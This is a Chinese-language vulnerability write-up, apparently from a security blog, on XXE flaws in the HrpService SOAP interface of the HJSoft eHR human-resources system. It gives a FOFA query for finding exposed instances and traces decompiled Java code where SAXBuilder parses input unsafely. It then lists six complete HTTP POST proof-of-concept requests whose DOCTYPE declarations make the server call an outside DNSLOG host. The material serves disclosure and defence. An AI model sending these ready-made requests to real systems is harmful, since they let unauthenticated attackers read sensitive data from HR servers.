宏景人力资源管理系统 HrpService 多处XXE漏洞


漏洞简介

宏景人力资源管理系统(eHR)是一款由宏景软件研发的系统。宏景人力资源管理系统的 HrpService 接口处存在XXE漏洞,未经过身份认证的远程攻击者可利用此漏洞获取系统敏感信息。

影响版本

fofa语法

app="HJSOFT-HCM"

漏洞分析

关于路由的分析以及两个路由请求触发方式,参考这篇文章:宏景eHR HrChangeInfoService SQL注入漏洞+XXE漏洞

因此我们直接去 WEB-INF/classes/META-INF/xfire/services.xml 查找我们本次审计的主角 HrpService 部分的定义:

<service xmlns="http://xfire.codehaus.org/config/1.0">
    <name>HrpService</name>
    <namespace>http://www.hjsj.com/HrpService</namespace>
    <serviceClass>com.hjsj.hrms.service.HrpIssuanceService</serviceClass>
  </service>
  <service xmlns="http://xfire.codehaus.org/config/1.0">
    <name>HrpServices</name>
    <namespace>http://www.hjsj.com/HrpServices</namespace>
    <serviceClass>com.hjsj.hrms.service.HrpIssuanceService</serviceClass>
  </service>

可以看到两个service均由同一个类处理,因此测试时可以有两种url方式 /services/HrpServices 和 /services/HrpService

impInfoByNotice

public String impInfoByNotice(String var1) {
        String var2 = "2";
        Connection var3 = null;
        HrIssuanceInterf var4 = new HrIssuanceInterf();

        try {
            var3 = AdminDb.getConnection();
            if (var3 != null) {
                var2 = var4.impInfoByMidtable(var1, var3);

跟进 impInfoByMidtable

public String impInfoByMidtable(String var1, Connection var2) {
        String var3 = "2";

        try {
            LazyDynaBean var4 = this.getParamBean(var1);
            DataImportBo var5 = new DataImportBo(var2);

跟进 getParamBean

private LazyDynaBean getParamBean(String var1) throws GeneralException {
        LazyDynaBean var2 = new LazyDynaBean();

        try {
            byte[] var3 = var1.getBytes();
            ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
            SAXBuilder var5 = new SAXBuilder();
            Document var6 = var5.build(var4);
            Object var7 = null;

最终初始的 var1 参数被直接带入 getParamBean 中使用 SAXBuilder 进行解析造成XXE漏洞。

getHolidayMsg

image

Huayu_peWageRecv

image

getRemainHolidays

image

syncHolidayMsg

image

updateHolidays

image

漏洞复现

impInfoByNotice

POST /services/HrpService HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/impInfoByNotice">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:impInfoByNotice>
         <hrp:in0><syscode>&send;</syscode></hrp:in0>
      </hrp:impInfoByNotice>
   </soapenv:Body>
</soapenv:Envelope>

DNSLOG 平台成功收到DNS和HTTP请求

getHolidayMsg

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/getHolidayMsg">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:getHolidayMsg>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:getHolidayMsg>
   </soapenv:Body>
</soapenv:Envelope>

Huayu_peWageRecv

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/Huayu_peWageRecv">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:Huayu_peWageRecv>
         <hrp:in0><syscode>&send;</syscode></hrp:in0>
      </hrp:Huayu_peWageRecv>
   </soapenv:Body>
</soapenv:Envelope>

getRemainHolidays

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/getRemainHolidays">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:getRemainHolidays>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:getRemainHolidays>
   </soapenv:Body>
</soapenv:Envelope>

syncHolidayMsg

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/syncHolidayMsg">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:syncHolidayMsg>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:syncHolidayMsg>
   </soapenv:Body>
</soapenv:Envelope>

updateHolidays

POST /services/HrpServices HTTP/1.1
Host: hjsoft.mrxn.net
SOAPAction: ""
Content-Type: text/xml;charset=UTF-8

<!DOCTYPE syscode SYSTEM "http://xxe.test.dnslog.pt/updateHolidays">
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:hrp="http://www.hjsj.com/HrpService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrp:updateHolidays>
         <hrp:in0>ORs1P9DMem9byoEeSArcK+T60iqKxo6h2M7ONzAhR7w=</hrp:in0>
         <hrp:in1>cni23</hrp:in1>
         <hrp:in2><syscode>&send;</syscode></hrp:in2>
      </hrp:updateHolidays>
   </soapenv:Body>
</soapenv:Envelope>


手机扫码阅读

通达OA OfficeTask udp 2397 端口远程代码执行RCE检测工具

Unibox postprosa.php sql注入漏洞

评 论